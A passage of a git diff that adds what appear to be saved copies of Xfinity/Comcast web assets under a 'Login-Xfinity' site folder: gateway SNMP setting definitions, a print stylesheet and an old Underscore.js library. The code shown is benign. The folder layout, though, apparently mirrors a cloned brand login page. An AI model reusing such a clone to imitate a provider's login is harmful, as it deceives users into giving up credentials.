"1.3.6.1.4.1.4115.1.21.1"); +mocaConfigation.ChanncelSetMethod = new Scalar("ChanncelSetMethod","1.3.6.1.4.1.4115.1.21.1.1",2); +mocaConfigation.TabooChanncel = new Scalar("TabooChanncel","1.3.6.1.4.1.4115.1.21.1.4",66); +mocaConfigation.mocaChanncelMark = new Scalar("mocaChanncelMark","1.3.6.1.4.1.4115.1.21.1.2",66); +mocaConfigation.mocaLOF = new Scalar("mocaLOF","1.3.6.1.4.1.4115.1.21.1.5",2); +mocaConfigation.mocaPrimchnoff = new Scalar("mocaPrimchnoff","1.3.6.1.4.1.4115.1.21.1.6",2); + +var arChanncelSetMethod = mocaConfigation.ChanncelSetMethod; +var arTabooChanncel = mocaConfigation.TabooChanncel; +var armocaChanncelMark = mocaConfigation.mocaChanncelMark; +var armocaLOF = mocaConfigation.mocaLOF; +var armocaPrimchnoff = mocaConfigation.mocaPrimchnoff; + + +//Gateway > Hardware > LAN Ethernet +//var mib2interface2 = new Container("mib2interface2", "1.3.6.1.2.1.2.2.1.5.4.462"); +//mib2interface2.ifPort4Enable = new Scalar("ifPort4Enable","1.3.6.1.2.1.2.2.1.5.4.462.1",2); +//var arifPort4Enable = mib2interface2.ifPort4Enable; + +//Gateway > Hardware > USB : port 1/port 2 +var mib2interfaceUSB = new Container("mib2interfaceUSB", "1.3.6.1.4.1.4.2.1.5.4.463"); +mib2interfaceUSB.USB1status= new Scalar("USB1status","1.3.6.1.4.1.4.2.1.5.4.463.1"); +mib2interfaceUSB.USB1Desc= new Scalar("USB1Desc", "1.3.6.1.4.1.4.2.1.5.4.463.2"); +mib2interfaceUSB.USB1SN= new Scalar("USB1SN", "1.3.6.1.4.1.4.2.1.5.4.463.3"); +mib2interfaceUSB.USB1Speed= new Scalar("USB1Speed","1.3.6.1.4.1.4.2.1.5.4.463.4"); +mib2interfaceUSB.USB1Manufacturer= new Scalar("USB1Manufacturer","1.3.6.1.4.1.4.2.1.5.4.463.5"); +var arUSB1status=mib2interfaceUSB.USB1status; +var arUSB1Desc=mib2interfaceUSB.USB1Desc; +var arUSB1SN=mib2interfaceUSB.USB1SN; +var arUSB1Speed=mib2interfaceUSB.USB1Speed; +var arUSB1Manufacturer=mib2interfaceUSB.USB1Manufacturer; + +//Connected Devices > Network Storage, NetworkStorage +var MtaDevBatteryStatusTable2 = new Table("MtaDevBatteryStatusTable2", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461"); + MtaDevBatteryStatusTable2.MtaDevBatteryCondition = new Column("MtaDevBatteryCondition", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.2", 2); +//var arMtaDevBatteryCondition = MtaDevBatteryStatusTable2.MtaDevBatteryCondition; + +var mib2interfaceNetworkStorageTable= new Table("mib2interfaceNetworkStorageTable", "1.3.6.1.4.1.4.2.1.5.4.464"); +mib2interfaceNetworkStorageTable.NSName= new Column("NSName", "1.3.6.1.4.1.4.2.1.5.4.464.1.1"); +mib2interfaceNetworkStorageTable.NSFileSystem = new Column("NSFileSystem", "1.3.6.1.4.1.4.2.1.5.4.464.1.2"); +mib2interfaceNetworkStorageTable.NSSpaceAvailable = new Column("NSSpaceAvailable", "1.3.6.1.4.1.4.2.1.5.4.464.1.3"); +mib2interfaceNetworkStorageTable.NSTotalSpace= new Column("NSTotalSpace","1.3.6.1.4.1.4.2.1.5.4.464.1.4"); +mib2interfaceNetworkStorageTable.NSLocation= new Column("NSLocation","1.3.6.1.4.1.4.2.1.5.4.464.1.5"); +var arNSName= mib2interfaceNetworkStorageTable.NSName; +var arNSFileSystem = mib2interfaceNetworkStorageTable.NSFileSystem; +var arNSSpaceAvailable = mib2interfaceNetworkStorageTable.NSSpaceAvailable; +var arNSTotalSpace = mib2interfaceNetworkStorageTable.NSTotalSpace; +var arNSLocation = mib2interfaceNetworkStorageTable.NSLocation; + + +// Range Extenders +var mib2interfaceRangeExtender=new Table("mib2interfaceRangeExtender", "1.3.6.1.4.1.4.2.1.5.4.465"); +mib2interfaceRangeExtender.RangeExtenderName =new Column("RangeExtenderName", "1.3.6.1.4.1.4.2.1.5.4.465.1.1"); +mib2interfaceRangeExtender.RESSID =new Column("RESSID", "1.3.6.1.4.1.4.2.1.5.4.465.1.2"); +mib2interfaceRangeExtender.REBSSID =new Column("REBSSID", "1.3.6.1.4.1.4.2.1.5.4.465.1.3"); +mib2interfaceRangeExtender.REFrequencyBand =new Column("REFrequencyBand", "1.3.6.1.4.1.4.2.1.5.4.465.1.4"); +mib2interfaceRangeExtender.REChannel =new Column("REChannel", "1.3.6.1.4.1.4.2.1.5.4.465.1.5"); +mib2interfaceRangeExtender.RESecurityMode =new Column("RESecurityMode", "1.3.6.1.4.1.4.2.1.5.4.465.1.6"); +var arRangeExtenderName=mib2interfaceRangeExtender.RangeExtenderName ; +var arRESSID =mib2interfaceRangeExtender.RESSID ; +var arREBSSID =mib2interfaceRangeExtender.REBSSID ; +var arREFrequencyBand =mib2interfaceRangeExtender.REFrequencyBand ; +var arREChannel =mib2interfaceRangeExtender.REChannel ; +var arRESecurityMode =mib2interfaceRangeExtender.RESecurityMode ; + + +// Advanced >> remote_management +var mib2interfaceRemoteManagement = new Container("mib2interfaceRemoteManagement", "1.3.6.1.4.1.4.2.1.5.4.466"); +mib2interfaceRemoteManagement.RMEnableHttp= new Scalar("RMEnableHttp", "1.3.6.1.4.1.4.2.1.5.4.466.1", 2); +mib2interfaceRemoteManagement.RMEnableHttps= new Scalar("RMEnableHttps", "1.3.6.1.4.1.4.2.1.5.4.466.2", 2); +mib2interfaceRemoteManagement.RMAddrv4= new Scalar("RMAddrv4", "1.3.6.1.4.1.4.2.1.5.4.466.3", 2); +mib2interfaceRemoteManagement.RMAddrv6= new Scalar("RMAddrv6", "1.3.6.1.4.1.4.2.1.5.4.466.4", 2); +mib2interfaceRemoteManagement.RMAllowedIndex= new Scalar("RMAllowedIndex", "1.3.6.1.4.1.4.2.1.5.4.466.5", 2); +mib2interfaceRemoteManagement.RMAddrv4From= new Scalar("RMAddrv4From", "1.3.6.1.4.1.4.2.1.5.4.466.6", 2); +mib2interfaceRemoteManagement.RMAddrv4End= new Scalar("RMAddrv4End", "1.3.6.1.4.1.4.2.1.5.4.466.7", 2); +mib2interfaceRemoteManagement.RMAddrv6From= new Scalar("RMAddrv6From", "1.3.6.1.4.1.4.2.1.5.4.466.8", 2); +mib2interfaceRemoteManagement.RMAddrv6End= new Scalar("RMAddrv6End", "1.3.6.1.4.1.4.2.1.5.4.466.9", 2); +mib2interfaceRemoteManagement.RMTelnetEnble= new Scalar("RMTelnetEnble", "1.3.6.1.4.1.4.2.1.5.4.466.10", 2); +mib2interfaceRemoteManagement.RMSSHEnable= new Scalar("RMSSHEnable", "1.3.6.1.4.1.4.2.1.5.4.466.11", 2); +var arRMEnableHttp= mib2interfaceRemoteManagement.RMEnableHttp; +var arRMEnableHttps=mib2interfaceRemoteManagement.RMEnableHttps; +var arRMAddrv4= mib2interfaceRemoteManagement.RMAddrv4; +var arRMAddrv6= mib2interfaceRemoteManagement.RMAddrv6; +var arRMAllowedIndex= mib2interfaceRemoteManagement.RMAllowedIndex; +var arRMAddrv4From= mib2interfaceRemoteManagement.RMAddrv4From; +var arRMAddrv4End= mib2interfaceRemoteManagement.RMAddrv4End; +var arRMAddrv6From= mib2interfaceRemoteManagement.RMAddrv6From; +var arRMAddrv6End= mib2interfaceRemoteManagement.RMAddrv6End; +var arRMTelnetEnble=mib2interfaceRemoteManagement.RMTelnetEnble; +var arRMSSHEnable= mib2interfaceRemoteManagement.RMSSHEnable; + +// Advanced >> Radius Servers +var RadiusServerTable =new Table ("RadiusServerTable","1.3.6.1.4.1.4.2.1.5.4.469"); +RadiusServerTable.RSEnable =new Column("RSEnable", "1.3.6.1.4.1.4.2.1.5.4.469.1.1"); +RadiusServerTable.RSIp =new Column("RSIp", "1.3.6.1.4.1.4.2.1.5.4.469.1.2"); +RadiusServerTable.RSAuthPort =new Column("RSAuthPort", "1.3.6.1.4.1.4.2.1.5.4.469.1.3"); +RadiusServerTable.RSAcctPort =new Column("RSAcctPort", "1.3.6.1.4.1.4.2.1.5.4.469.1.4"); +RadiusServerTable.RSLocalIF =new Column("RSLocalIF", "1.3.6.1.4.1.4.2.1.5.4.469.1.5"); +RadiusServerTable.RSTimout =new Column("RSTimout", "1.3.6.1.4.1.4.2.1.5.4.469.1.6"); +RadiusServerTable.RSReAuthTmt =new Column("RSReAuthTmt", "1.3.6.1.4.1.4.2.1.5.4.469.1.7"); +RadiusServerTable.RSSharedSecret=new Column("RSSharedSecret", "1.3.6.1.4.1.4.2.1.5.4.469.1.8"); +var arRSEnable = RadiusServerTable.RSEnable ; +var arRSIp = RadiusServerTable.RSIp ; +var arRSAuthPort = RadiusServerTable.RSAuthPort ; +var arRSAcctPort = RadiusServerTable.RSAcctPort ; +var arRSLocalIF = RadiusServerTable.RSLocalIF ; +var arRSTimout = RadiusServerTable.RSTimout ; +var arRSReAuthTmt = RadiusServerTable.RSReAuthTmt ; +var arRSSharedSecret= RadiusServerTable.RSSharedSecret; + +// samba_server_config.php +var FileShareTable =new Table ("FileShareTable","1.3.6.1.4.1.4.2.1.5.4.472"); +FileShareTable.FSDirectory =new Column("FSDirectory", "1.3.6.1.4.1.4.2.1.5.4.472.1.1"); +FileShareTable.FSName =new Column("FSName", "1.3.6.1.4.1.4.2.1.5.4.472.1.2"); +FileShareTable.FSVisible =new Column("FSVisible", "1.3.6.1.4.1.4.2.1.5.4.472.1.3"); +FileShareTable.FSPermissions =new Column("FSPermissions", "1.3.6.1.4.1.4.2.1.5.4.472.1.4"); +FileShareTable.FSEnableHttp =new Column("FSEnableHttp", "1.3.6.1.4.1.4.2.1.5.4.472.1.5"); +FileShareTable.FSEnableFTP =new Column("FSEnableFTP", "1.3.6.1.4.1.4.2.1.5.4.472.1.6"); +FileShareTable.FSDesc =new Column("FSDesc", "1.3.6.1.4.1.4.2.1.5.4.472.1.7"); +FileShareTable.FSUSB12 =new Column("FSUSB12", "1.3.6.1.4.1.4.2.1.5.4.472.1.8"); +var arFSDirectory =FileShareTable.FSDirectory; +var arFSName =FileShareTable.FSName; +var arFSVisible =FileShareTable.FSVisible; +var arFSPermissions =FileShareTable.FSPermissions; +var arFSEnableHttp =FileShareTable.FSEnableHttp; +var arFSEnableFTP =FileShareTable.FSEnableFTP; +var arFSUSB12 =FileShareTable.FSUSB12; + +// samba_server_config.php +var FileShareManage = new Container("FileShareManage", "1.3.6.1.4.1.4.2.1.5.4.471"); +FileShareManage.FSMShare= new Scalar("FSMShare", "1.3.6.1.4.1.4.2.1.5.4.471.1",2); +FileShareManage.FSMName= new Scalar("FSMName", "1.3.6.1.4.1.4.2.1.5.4.471.2",2); +FileShareManage.FSMReserve= new Scalar("FSMReserve","1.3.6.1.4.1.4.2.1.5.4.471.3",2); +var arFSMShare= FileShareManage.FSMShare; +var arFSMName= FileShareManage.FSMName; +var arFSMReserve= FileShareManage.FSMReserve; + + +//qos1.php +var QOSSettings = new Container("QOSSettings", "1.3.6.1.4.1.4.2.1.5.4.473"); +QOSSettings.QOS4Wmmd= new Scalar("QOS4Wmmd", "1.3.6.1.4.1.4.2.1.5.4.473.1",2); +QOSSettings.QOS4Moca= new Scalar("QOS4Moca", "1.3.6.1.4.1.4.2.1.5.4.473.2",2); +QOSSettings.QOS4Lan= new Scalar("QOS4Lan", "1.3.6.1.4.1.4.2.1.5.4.473.3",2); +QOSSettings.QOS4Upnp= new Scalar("QOS4Upnp", "1.3.6.1.4.1.4.2.1.5.4.473.4",2); +var arQOS4Wmmd= QOSSettings.QOS4Wmmd; +var arQOS4Moca= QOSSettings.QOS4Moca; +var arQOS4Lan= QOSSettings.QOS4Lan; +var arQOS4Upnp= QOSSettings.QOS4Upnp; + +//dlna_settings.php +var DLNASettings = new Container("DLNASettings", "1.3.6.1.4.1.4.2.1.5.4.474"); +DLNASettings.DLNAEnabled= new Scalar("DLNAEnabled","1.3.6.1.4.1.4.2.1.5.4.474.1", 2); +DLNASettings.DLNAMediaType= new Scalar("DLNAMediaType","1.3.6.1.4.1.4.2.1.5.4.474.2", 2); +DLNASettings.DLNAMediaSrc= new Scalar("DLNAMediaSrc","1.3.6.1.4.1.4.2.1.5.4.474.3", 2); +DLNASettings.DLNAMediaPath= new Scalar("DLNAMediaPath","1.3.6.1.4.1.4.2.1.5.4.474.4", 2); +//DLNASettings.= new Scalar("","1.3.6.1.4.1.4.2.1.5.4.474.5", 2); +//DLNASettings.= new Scalar("","1.3.6.1.4.1.4.2.1.5.4.474.6", 2); +var arDLNAEnabled= DLNASettings.DLNAEnabled; +var arDLNAMediaType= DLNASettings.DLNAMediaType; +var arDLNAMediaSrc= DLNASettings.DLNAMediaSrc; +var arDLNAMediaPath= DLNASettings.DLNAMediaPath; + +// digital_media_players.php +var DLMediaPlayer =new Table ("DLMediaPlayer","1.3.6.1.4.1.4.2.1.5.4.475"); +DLMediaPlayer.DLMPName =new Column("FSDirectory", "1.3.6.1.4.1.4.2.1.5.4.475.1.1"); +DLMediaPlayer.DLMPAllw =new Column("DLMediaPlayer","1.3.6.1.4.1.4.2.1.5.4.475.1.2"); +var arDLMPName = DLMediaPlayer.DLMPName; +var arDLMPAllw = DLMediaPlayer.DLMPAllw; + +// digital_media_index.php +var DLMIndexTable =new Table ("DLMIndexTable","1.3.6.1.4.1.4.2.1.5.4.476"); +DLMIndexTable.DLMName =new Column("DLMName", "1.3.6.1.4.1.4.2.1.5.4.476.1.1"); +DLMIndexTable.DLMGenre =new Column("DLMGenre", "1.3.6.1.4.1.4.2.1.5.4.476.1.2"); +DLMIndexTable.DLMArtist =new Column("DLMArtist", "1.3.6.1.4.1.4.2.1.5.4.476.1.3"); +DLMIndexTable.DLMDurat =new Column("DLMDurat", "1.3.6.1.4.1.4.2.1.5.4.476.1.4"); +DLMIndexTable.DLMFold =new Column("DLMFold", "1.3.6.1.4.1.4.2.1.5.4.476.1.5"); +DLMIndexTable.DLMRate =new Column("DLMRate", "1.3.6.1.4.1.4.2.1.5.4.476.1.6"); +DLMIndexTable.DLMAlbum =new Column("DLMAlbum", "1.3.6.1.4.1.4.2.1.5.4.476.1.7"); +DLMIndexTable.DLMCmmnt =new Column("DLMCmmnt", "1.3.6.1.4.1.4.2.1.5.4.476.1.9"); +DLMIndexTable.DLMType =new Column("DLMType", "1.3.6.1.4.1.4.2.1.5.4.476.1.8"); +var arDLMName = DLMIndexTable.DLMName ; // string +var arDLMGenre = DLMIndexTable.DLMGenre ; // 1-8,Fiction, Action, Drama, Comedy, + // Classical, Rock, Fusion, Metal. +var arDLMArtist = DLMIndexTable.DLMArtist ; // string +var arDLMDurat = DLMIndexTable.DLMDurat ; // number +var arDLMFold = DLMIndexTable.DLMFold ; // string +var arDLMRate = DLMIndexTable.DLMRate ; // 1-3: G, PG, R +var arDLMAlbum = DLMIndexTable.DLMAlbum ; // string (music) +var arDLMCmmnt = DLMIndexTable.DLMCmmnt ; // string (picture) +var arDLMType = DLMIndexTable.DLMType ; // png(1), jpeg(2); + // Video (8) + // TV Shows (16) + // Pictures (24) diff --git a/sites/Login-Xfinity/Xfinity_files/print.css b/sites/Login-Xfinity/Xfinity_files/print.css new file mode 100755 index 0000000..3c0c422 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/print.css @@ -0,0 +1,50 @@ +/* $Id: global.css 3119 2009-10-16 20:48:52Z cporto $ */ + +/*---------------------------------------- +Name: global.css +Developed by: Seth Lemoine, Schematic +Date Created: Dec 7, 2009 +Copyright: Comcast +----------------------------------------*/ + +/* Elements +----------------------------------------*/ +body { + font-family: Arial, Helvetica, sans-serif; + +} + +* { + color: #000; + float: none; + font-size: 11pt; + text-decoration:none; + width: auto; +} + +#header, +#footer, +#userToolbar, +#status, +#nav, +a, +button, +input, +.noprint { + display: none; +} + +h1 { + font-size: 24pt; +} + +table { + border-collapse: collapse; +} + +th, +td { + border: 1px solid #ccc; + padding: 4pt; + text-align: left; +} diff --git a/sites/Login-Xfinity/Xfinity_files/underscore.js b/sites/Login-Xfinity/Xfinity_files/underscore.js new file mode 100755 index 0000000..8ee2e83 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/underscore.js @@ -0,0 +1,716 @@ +// (c) 2010 Jeremy Ashkenas, DocumentCloud Inc. +// Underscore is freely distributable under the MIT license. +// Portions of Underscore are inspired or borrowed from Prototype, +// Oliver Steele's Functional, and John Resig's Micro-Templating. +// For all details and documentation: +// http://documentcloud.github.com/underscore + +(function() { + + // Baseline setup + // -------------- + + // Establish the root object, `window` in the browser, or `global` on the server. + var root = this; + + // Save the previous value of the `_` variable. + var previousUnderscore = root._; + + // Establish the object that gets thrown to break out of a loop iteration. + var breaker = typeof StopIteration !== 'undefined' ? StopIteration : '__break__'; + + // Save bytes in the minified (but not gzipped) version: + var ArrayProto = Array.prototype, ObjProto = Object.prototype; + + // Create quick reference variables for speed access to core prototypes. + var slice = ArrayProto.slice, + unshift = ArrayProto.unshift, + toString = ObjProto.toString, + hasOwnProperty = ObjProto.hasOwnProperty, + propertyIsEnumerable = ObjProto.propertyIsEnumerable; + + // All **ECMAScript 5** native function implementations that we hope to use + // are declared here. + var + nativeForEach = ArrayProto.forEach, + nativeMap = ArrayProto.map, + nativeReduce = ArrayProto.reduce, + nativeReduceRight = ArrayProto.reduceRight, + nativeFilter = ArrayProto.filter, + nativeEvery = ArrayProto.every, + nativeSome = ArrayProto.some, + nativeIndexOf = ArrayProto.indexOf, + nativeLastIndexOf = ArrayProto.lastIndexOf, + nativeIsArray = Array.isArray, + nativeKeys = Object.keys; + + // Create a safe reference to the Underscore object for use below. + var _ = function(obj) { return new wrapper(obj); }; + + // Export the Underscore object for **CommonJS**. + if (typeof exports !== 'undefined') exports._ = _; + + // Export Underscore to the global scope. + root._ = _; + + // Current version. + _.VERSION = '1.1.2'; + + // Collection Functions + // -------------------- + + // The cornerstone, an `each` implementation, aka `forEach`. + // Handles objects implementing `forEach`, arrays, and raw objects. + // Delegates to **ECMAScript 5**'s native `forEach` if available. + var each = _.each = _.forEach = function(obj, iterator, context) { + try { + if (nativeForEach && obj.forEach === nativeForEach) { + obj.forEach(iterator, context); + } else if (_.isNumber(obj.length)) { + for (var i = 0, l = obj.length; i < l; i++) iterator.call(context, obj[i], i, obj); + } else { + for (var key in obj) { + if (hasOwnProperty.call(obj, key)) iterator.call(context, obj[key], key, obj); + } + } + } catch(e) { + if (e != breaker) throw e; + } + return obj; + }; + + // Return the results of applying the iterator to each element. + // Delegates to **ECMAScript 5**'s native `map` if available. + _.map = function(obj, iterator, context) { + if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context); + var results = []; + each(obj, function(value, index, list) { + results[results.length] = iterator.call(context, value, index, list); + }); + return results; + }; + + // **Reduce** builds up a single result from a list of values, aka `inject`, + // or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available. + _.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) { + if (nativeReduce && obj.reduce === nativeReduce) { + if (context) iterator = _.bind(iterator, context); + return obj.reduce(iterator, memo); + } + each(obj, function(value, index, list) { + memo = iterator.call(context, memo, value, index, list); + }); + return memo; + }; + + // The right-associative version of reduce, also known as `foldr`. + // Delegates to **ECMAScript 5**'s native `reduceRight` if available. + _.reduceRight = _.foldr = function(obj, iterator, memo, context) { + if (nativeReduceRight && obj.reduceRight === nativeReduceRight) { + if (context) iterator = _.bind(iterator, context); + return obj.reduceRight(iterator, memo); + } + var reversed = (_.isArray(obj) ? obj.slice() : _.toArray(obj)).reverse(); + return _.reduce(reversed, iterator, memo, context); + }; + + // Return the first value which passes a truth test. Aliased as `detect`. + _.find = _.detect = function(obj, iterator, context) { + var result; + each(obj, function(value, index, list) { + if (iterator.call(context, value, index, list)) { + result = value; + _.breakLoop(); + } + }); + return result; + }; + + // Return all the elements that pass a truth test. + // Delegates to **ECMAScript 5**'s native `filter` if available. + // Aliased as `select`. + _.filter = _.select = function(obj, iterator, context) { + if (nativeFilter && obj.filter === nativeFilter) return obj.filter(iterator, context); + var results = []; + each(obj, function(value, index, list) { + if (iterator.call(context, value, index, list)) results[results.length] = value; + }); + return results; + }; + + // Return all the elements for which a truth test fails. + _.reject = function(obj, iterator, context) { + var results = []; + each(obj, function(value, index, list) { + if (!iterator.call(context, value, index, list)) results[results.length] = value; + }); + return results; + }; + + // Determine whether all of the elements match a truth test. + // Delegates to **ECMAScript 5**'s native `every` if available. + // Aliased as `all`. + _.every = _.all = function(obj, iterator, context) { + iterator = iterator || _.identity; + if (nativeEvery && obj.every === nativeEvery) return obj.every(iterator, context); + var result = true; + each(obj, function(value, index, list) { + if (!(result = result && iterator.call(context, value, index, list))) _.breakLoop(); + }); + return result; + }; + + // Determine if at least one element in the object matches a truth test. + // Delegates to **ECMAScript 5**'s native `some` if available. + // Aliased as `any`. + _.some = _.any = function(obj, iterator, context) { + iterator = iterator || _.identity; + if (nativeSome && obj.some === nativeSome) return obj.some(iterator, context); + var result = false; + each(obj, function(value, index, list) { + if (result = iterator.call(context, value, index, list)) _.breakLoop(); + }); + return result; + }; + + // Determine if a given value is included in the array or object using `===`. + // Aliased as `contains`. + _.include = _.contains = function(obj, target) { + if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1; + var found = false; + each(obj, function(value) { + if (found = value === target) _.breakLoop(); + }); + return found; + }; + + // Invoke a method (with arguments) on every item in a collection. + _.invoke = function(obj, method) { + var args = slice.call(arguments, 2); + return _.map(obj, function(value) { + return (method ? value[method] : value).apply(value, args); + }); + }; + + // Convenience version of a common use case of `map`: fetching a property. + _.pluck = function(obj, key) { + return _.map(obj, function(value){ return value[key]; }); + }; + + // Return the maximum element or (element-based computation). + _.max = function(obj, iterator, context) { + if (!iterator && _.isArray(obj)) return Math.max.apply(Math, obj); + var result = {computed : -Infinity}; + each(obj, function(value, index, list) { + var computed = iterator ? iterator.call(context, value, index, list) : value; + computed >= result.computed && (result = {value : value, computed : computed}); + }); + return result.value; + }; + + // Return the minimum element (or element-based computation). + _.min = function(obj, iterator, context) { + if (!iterator && _.isArray(obj)) return Math.min.apply(Math, obj); + var result = {computed : Infinity}; + each(obj, function(value, index, list) { + var computed = iterator ? iterator.call(context, value, index, list) : value; + computed < result.computed && (result = {value : value, computed : computed}); + }); + return result.value; + }; + + // Sort the object's values by a criterion produced by an iterator. + _.sortBy = function(obj, iterator, context) { + return _.pluck(_.map(obj, function(value, index, list) { + return { + value : value, + criteria : iterator.call(context, value, index, list) + }; + }).sort(function(left, right) { + var a = left.criteria, b = right.criteria; + return a < b ? -1 : a > b ? 1 : 0; + }), 'value'); + }; + + // Use a comparator function to figure out at what index an object should + // be inserted so as to maintain order. Uses binary search. + _.sortedIndex = function(array, obj, iterator) { + iterator = iterator || _.identity; + var low = 0, high = array.length; + while (low < high) { + var mid = (low + high) >> 1; + iterator(array[mid]) < iterator(obj) ? low = mid + 1 : high = mid; + } + return low; + }; + + // Safely convert anything iterable into a real, live array. + _.toArray = function(iterable) { + if (!iterable) return []; + if (iterable.toArray) return iterable.toArray(); + if (_.isArray(iterable)) return iterable; + if (_.isArguments(iterable)) return slice.call(iterable); + return _.values(iterable); + }; + + // Return the number of elements in an object. + _.size = function(obj) { + return _.toArray(obj).length; + }; + + // Array Functions + // --------------- + + // Get the first element of an array. Passing **n** will return the first N + // values in the array. Aliased as `head`. The **guard** check allows it to work + // with `_.map`. + _.first = _.head = function(array, n, guard) { + return n && !guard ? slice.call(array, 0, n) : array[0]; + }; + + // Returns everything but the first entry of the array. Aliased as `tail`. + // Especially useful on the arguments object. Passing an **index** will return + // the rest of the values in the array from that index onward. The **guard** + // check allows it to work with `_.map`. + _.rest = _.tail = function(array, index, guard) { + return slice.call(array, _.isUndefined(index) || guard ? 1 : index); + }; + + // Get the last element of an array. + _.last = function(array) { + return array[array.length - 1]; + }; + + // Trim out all falsy values from an array. + _.compact = function(array) { + return _.filter(array, function(value){ return !!value; }); + }; + + // Return a completely flattened version of an array. + _.flatten = function(array) { + return _.reduce(array, function(memo, value) { + if (_.isArray(value)) return memo.concat(_.flatten(value)); + memo[memo.length] = value; + return memo; + }, []); + }; + + // Return a version of the array that does not contain the specified value(s). + _.without = function(array) { + var values = slice.call(arguments, 1); + return _.filter(array, function(value){ return !_.include(values, value); }); + }; + + // Produce a duplicate-free version of the array. If the array has already + // been sorted, you have the option of using a faster algorithm. + // Aliased as `unique`. + _.uniq = _.unique = function(array, isSorted) { + return _.reduce(array, function(memo, el, i) { + if (0 == i || (isSorted === true ? _.last(memo) != el : !_.include(memo, el))) memo[memo.length] = el; + return memo; + }, []); + }; + + // Produce an array that contains every item shared between all the + // passed-in arrays. + _.intersect = function(array) { + var rest = slice.call(arguments, 1); + return _.filter(_.uniq(array), function(item) { + return _.every(rest, function(other) { + return _.indexOf(other, item) >= 0; + }); + }); + }; + + // Zip together multiple lists into a single array -- elements that share + // an index go together. + _.zip = function() { + var args = slice.call(arguments); + var length = _.max(_.pluck(args, 'length')); + var results = new Array(length); + for (var i = 0; i < length; i++) results[i] = _.pluck(args, "" + i); + return results; + }; + + // If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**), + // we need this function. Return the position of the first occurence of an + // item in an array, or -1 if the item is not included in the array. + // Delegates to **ECMAScript 5**'s native `indexOf` if available. + _.indexOf = function(array, item) { + if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item); + for (var i = 0, l = array.length; i < l; i++) if (array[i] === item) return i; + return -1; + }; + + + // Delegates to **ECMAScript 5**'s native `lastIndexOf` if available. + _.lastIndexOf = function(array, item) { + if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) return array.lastIndexOf(item); + var i = array.length; + while (i--) if (array[i] === item) return i; + return -1; + }; + + // Generate an integer Array containing an arithmetic progression. A port of + // the native Python `range()` function. See + // [the Python documentation](http://docs.python.org/library/functions.html#range). + _.range = function(start, stop, step) { + var args = slice.call(arguments), + solo = args.length <= 1, + start = solo ? 0 : args[0], + stop = solo ? args[0] : args[1], + step = args[2] || 1, + len = Math.max(Math.ceil((stop - start) / step), 0), + idx = 0, + range = new Array(len); + while (idx < len) { + range[idx++] = start; + start += step; + } + return range; + }; + + // Function (ahem) Functions + // ------------------ + + // Create a function bound to a given object (assigning `this`, and arguments, + // optionally). Binding with arguments is also known as `curry`. + _.bind = function(func, obj) { + var args = slice.call(arguments, 2); + return function() { + return func.apply(obj || {}, args.concat(slice.call(arguments))); + }; + }; + + // Bind all of an object's methods to that object. Useful for ensuring that + // all callbacks defined on an object belong to it. + _.bindAll = function(obj) { + var funcs = slice.call(arguments, 1); + if (funcs.length == 0) funcs = _.functions(obj); + each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); }); + return obj; + }; + + // Memoize an expensive function by storing its results. + _.memoize = function(func, hasher) { + var memo = {}; + hasher = hasher || _.identity; + return function() { + var key = hasher.apply(this, arguments); + return key in memo ? memo[key] : (memo[key] = func.apply(this, arguments)); + }; + }; + + // Delays a function for the given number of milliseconds, and then calls + // it with the arguments supplied. + _.delay = function(func, wait) { + var args = slice.call(arguments, 2); + return setTimeout(function(){ return func.apply(func, args); }, wait); + }; + + // Defers a function, scheduling it to run after the current call stack has + // cleared. + _.defer = function(func) { + return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1))); + }; + + // Returns the first function passed as an argument to the second, + // allowing you to adjust arguments, run code before and after, and + // conditionally execute the original function. + _.wrap = function(func, wrapper) { + return function() { + var args = [func].concat(slice.call(arguments)); + return wrapper.apply(wrapper, args); + }; + }; + + // Returns a function that is the composition of a list of functions, each + // consuming the return value of the function that follows. + _.compose = function() { + var funcs = slice.call(arguments); + return function() { + var args = slice.call(arguments); + for (var i=funcs.length-1; i >= 0; i--) { + args = [funcs[i].apply(this, args)]; + } + return args[0]; + }; + }; + + // Object Functions + // ---------------- + + // Retrieve the names of an object's properties. + // Delegates to **ECMAScript 5**'s native `Object.keys` + _.keys = nativeKeys || function(obj) { + if (_.isArray(obj)) return _.range(0, obj.length); + var keys = []; + for (var key in obj) if (hasOwnProperty.call(obj, key)) keys[keys.length] = key; + return keys; + }; + + // Retrieve the values of an object's properties. + _.values = function(obj) { + return _.map(obj, _.identity); + }; + + // Return a sorted list of the function names available on the object. + // Aliased as `methods` + _.functions = _.methods = function(obj) { + return _.filter(_.keys(obj), function(key){ return _.isFunction(obj[key]); }).sort(); + }; + + // Extend a given object with all the properties in passed-in object(s). + _.extend = function(obj) { + each(slice.call(arguments, 1), function(source) { + for (var prop in source) obj[prop] = source[prop]; + }); + return obj; + }; + + // Create a (shallow-cloned) duplicate of an object. + _.clone = function(obj) { + return _.isArray(obj) ? obj.slice() : _.extend({}, obj); + }; + + // Invokes interceptor with the obj, and then returns obj. + // The primary purpose of this method is to "tap into" a method chain, in + // order to perform operations on intermediate results within the chain. + _.tap = function(obj, interceptor) { + interceptor(obj); + return obj; + }; + + // Perform a deep comparison to check if two objects are equal. + _.isEqual = function(a, b) { + // Check object identity. + if (a === b) return true; + // Different types? + var atype = typeof(a), btype = typeof(b); + if (atype != btype) return false; + // Basic equality test (watch out for coercions). + if (a == b) return true; + // One is falsy and the other truthy. + if ((!a && b) || (a && !b)) return false; + // One of them implements an isEqual()? + if (a.isEqual) return a.isEqual(b); + // Check dates' integer values. + if (_.isDate(a) && _.isDate(b)) return a.getTime() === b.getTime(); + // Both are NaN? + if (_.isNaN(a) && _.isNaN(b)) return false; + // Compare regular expressions. + if (_.isRegExp(a) && _.isRegExp(b)) + return a.source === b.source && + a.global === b.global && + a.ignoreCase === b.ignoreCase && + a.multiline === b.multiline; + // If a is not an object by this point, we can't handle it. + if (atype !== 